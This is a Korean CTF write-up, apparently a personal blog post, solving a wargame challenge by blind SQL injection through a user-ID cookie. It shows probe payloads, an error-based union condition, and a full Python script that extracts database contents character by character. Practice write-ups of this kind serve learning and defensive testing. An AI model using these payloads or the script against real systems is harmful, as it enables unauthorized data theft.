본문 바로가기

WarGame/SegFault

SQL Injection Point 4

문제 정보

문제 페이지에 접속해 회원가입을 해보니

마이페이지와 게시판 기능이 있는 사이트인 것으로 확인된다.

마이페이지에 접속해 보니,

Cookie 값에 사용자 ID가 넘어가는 것을 볼 수 있었다.

해당 쿠키 값이 DB에 SQL 질의하는지 알아보기 위해

user' and '1' = '1

항등원 쿼리를 넣어보았다.

결과를 보니

쿠키 값에서 전달되는 사용자의 ID 값으로는

참과 거짓의 결과가 같기 때문에 SQLi 할 수 있는지 아직은 모르겠다.

이후 SQL 에러를 유도해 봤을 때,

DB Error 라는 문구가 출력된다.

select () from () where userid='
user' and (select 1 union select 2 where (1=1)) and '1' = '1

이번엔 union 구문을 사용하여 에러를 유도해보니,

union 구문의 조건이 참이면 마이페이지, 거짓이면 에러 페이지가 출력되면서

where 조건에 Blind SQLi을 대입하면 DB 정보를 추출할 수 있을 것 같다.

더보기
import requests

# 공격 대상 url
url = "http://ctf.segfaulthub.com:7777/sqli_9/mypage.php"

# 공격 Format 작성
sql = "user' and (select 1 union select 2 where ((ascii(substr(({}),{},1)) > {}))) and '1' = '1"

#참 거짓 판단 기준
false_code = "DB Error"

def blind_sqli(query):
    while True:
        # select 구문 입력 받기
        query = input("SELECT QUERY : ")

        value = binarySearch(query,false_code)
        print(value + "\n")

def binarySearch(query, false_code):
    index = 1
    
    high = 126
    low = 32
    
    value = ""
    
    while True:
        mid = (high+low)//2

        # 추출할 값이 존재하는지 체크
        headers = {
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36",
            "Cookie": "PHPSESSID=9b7gfs62nrmkb469gcv6se64g1; user="+sql.format(query,index,0)
        }
        response = requests.post(url, headers=headers)

        # 추출할 값이 존재한다면 Blind SQLi 시작
        if false_code in response.text:
            headers = {
                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36",
                "Cookie": "PHPSESSID=9b7gfs62nrmkb469gcv6se64g1; user="+sql.format(query,index,mid)
            }
            response = requests.post(url, headers=headers)

            # 추출할 문자열이 mid 값 보다 크다면
            if false_code in response.text:
                low = mid
            
            # 추출할 문자열이 mid 값 보다 작다면
            else:
                high = mid
            
            # 추출할 문자열 값을 찾았다면
            if low+1 >= high : # low == mid
                
                # 추출한 값 저장
                value += chr(high)
                
                # 다음 인덱스 문자열 추출
                index += 1
                
                # 초기화
                high = 126
                low = 32
        else:
            break
    return value

# 공격 시작
blind_sqli(sql)

 

파이썬을 이용해 Blind SQLi 자동화 코드를 작성하고

실행해보니

위와 같은 DB 정보를 추출할 수 있었다.

'WarGame > SegFault' 카테고리의 다른 글

XSS 2  (0) 2024.06.14
XSS 1  (0) 2024.06.14
SQL Injection Point 3  (2) 2024.06.08
SQL Injection Point 2  (0) 2024.06.08
SQL Injection Point 1  (2) 2024.06.08